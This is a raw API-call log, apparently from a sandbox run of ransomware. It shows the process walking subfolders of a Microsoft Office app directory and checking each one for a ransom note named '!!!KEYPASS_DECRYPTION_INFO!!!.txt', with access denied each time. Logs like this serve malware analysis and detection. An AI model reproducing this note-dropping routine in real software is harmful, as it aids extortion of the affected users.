[0289.875] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\flux\\gallery\\controls\\colorpicker\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.875] GetLastError () returned 0x5 [0289.875] GetLastError () returned 0x5 [0289.876] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0289.876] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501ad08 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.876] GetLastError () returned 0x3f0 [0289.876] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\flux\\gallery\\controls\\gallery\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\flux\\gallery\\controls\\gallery\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.876] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\flux\\gallery\\controls\\gallery\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.876] GetLastError () returned 0x5 [0289.876] GetLastError () returned 0x5 [0289.876] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0289.876] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.876] GetLastError () returned 0x3f0 [0289.876] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\flux\\gallery\\controls\\gallerycolorswatch\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\flux\\gallery\\controls\\gallerycolorswatch\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.876] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\flux\\gallery\\controls\\gallerycolorswatch\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.877] GetLastError () returned 0x5 [0289.877] GetLastError () returned 0x5 [0289.877] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0289.877] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501ad08 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.877] GetLastError () returned 0x3f0 [0289.877] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\flux\\gallery\\controls\\gallerycombobox\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\flux\\gallery\\controls\\gallerycombobox\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.877] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\flux\\gallery\\controls\\gallerycombobox\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.878] GetLastError () returned 0x5 [0289.878] GetLastError () returned 0x5 [0289.878] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0289.878] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501ad08 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.878] GetLastError () returned 0x3f0 [0289.878] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\flux\\gallery\\controls\\gallerycontainer\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\flux\\gallery\\controls\\gallerycontainer\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.878] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\flux\\gallery\\controls\\gallerycontainer\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.880] GetLastError () returned 0x5 [0289.880] GetLastError () returned 0x5 [0289.880] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0289.880] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.880] GetLastError () returned 0x3f0 [0289.880] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\flux\\gallery\\controls\\gallerygroupheader\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\flux\\gallery\\controls\\gallerygroupheader\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.880] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\flux\\gallery\\controls\\gallerygroupheader\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.880] GetLastError () returned 0x5 [0289.880] GetLastError () returned 0x5 [0289.880] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0289.881] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.881] GetLastError () returned 0x3f0 [0289.881] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\flux\\gallery\\controls\\galleryitem\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\flux\\gallery\\controls\\galleryitem\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.881] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\flux\\gallery\\controls\\galleryitem\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.881] GetLastError () returned 0x5 [0289.881] GetLastError () returned 0x5 [0289.881] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0289.881] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.881] GetLastError () returned 0x3f0 [0289.881] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\flux\\gallery\\controls\\galleryplaceholdertext\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\flux\\gallery\\controls\\galleryplaceholdertext\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.881] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\flux\\gallery\\controls\\galleryplaceholdertext\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.881] GetLastError () returned 0x5 [0289.881] GetLastError () returned 0x5 [0289.882] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0289.882] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.882] GetLastError () returned 0x3f0 [0289.882] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\flux\\gallery\\controls\\quickaccessgalleryanchor\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\flux\\gallery\\controls\\quickaccessgalleryanchor\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.882] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\flux\\gallery\\controls\\quickaccessgalleryanchor\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.882] GetLastError () returned 0x5 [0289.882] GetLastError () returned 0x5 [0289.882] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0289.883] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.883] GetLastError () returned 0x3f0 [0289.883] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\flux\\gallery\\controls\\quickaccessgalleryitemlist\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\flux\\gallery\\controls\\quickaccessgalleryitemlist\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.883] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\flux\\gallery\\controls\\quickaccessgalleryitemlist\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.883] GetLastError () returned 0x5 [0289.883] GetLastError () returned 0x5 [0289.883] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0289.883] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50168c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.883] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\images\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\images\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.883] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\images\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.884] GetLastError () returned 0x5 [0289.884] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0289.884] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.884] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\images\\winrt\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\images\\winrt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.884] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\images\\winrt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.884] GetLastError () returned 0x5 [0289.884] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0289.884] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019bf8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.884] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\licensepurchase\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\licensepurchase\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.884] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\licensepurchase\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.885] GetLastError () returned 0x5 [0289.885] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0289.885] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501ad08 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.886] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\linkdialog\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\linkdialog\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.886] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\linkdialog\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.886] GetLastError () returned 0x5 [0289.886] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0289.886] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50168c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.886] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\list\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\list\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.886] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\list\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.887] GetLastError () returned 0x5 [0289.887] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0289.887] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.887] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\list\\ui\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\list\\ui\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.887] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\list\\ui\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.887] GetLastError () returned 0x5 [0289.887] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0289.887] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.887] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\messagebar\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\messagebar\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.887] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\messagebar\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.888] GetLastError () returned 0x5 [0289.888] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0289.888] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501ad08 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.888] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\mso\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\mso\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.889] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\mso\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.894] GetLastError () returned 0x5 [0289.895] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0289.895] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019bf8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.895] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\progressui\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\progressui\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.895] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\progressui\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.895] GetLastError () returned 0x5 [0289.895] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0289.895] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.896] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\settings\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\settings\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.896] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\settings\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.896] GetLastError () returned 0x5 [0289.896] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0289.896] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.896] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\silhouette\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\silhouette\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.896] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\silhouette\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.897] GetLastError () returned 0x5 [0289.897] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0289.897] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.897] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\silhouette\\imm\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\silhouette\\imm\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.897] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\silhouette\\imm\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.903] GetLastError () returned 0x5 [0289.904] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0289.904] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50168c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.904] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\view\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\view\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.904] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\view\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.904] GetLastError () returned 0x5 [0289.904] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0289.905] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019bf8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.905] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\view\\controls\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\view\\controls\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.905] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\view\\controls\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.911] GetLastError () returned 0x5 [0289.912] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0289.912] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.912] PathAppendW (in: pszPath="C:\\Program 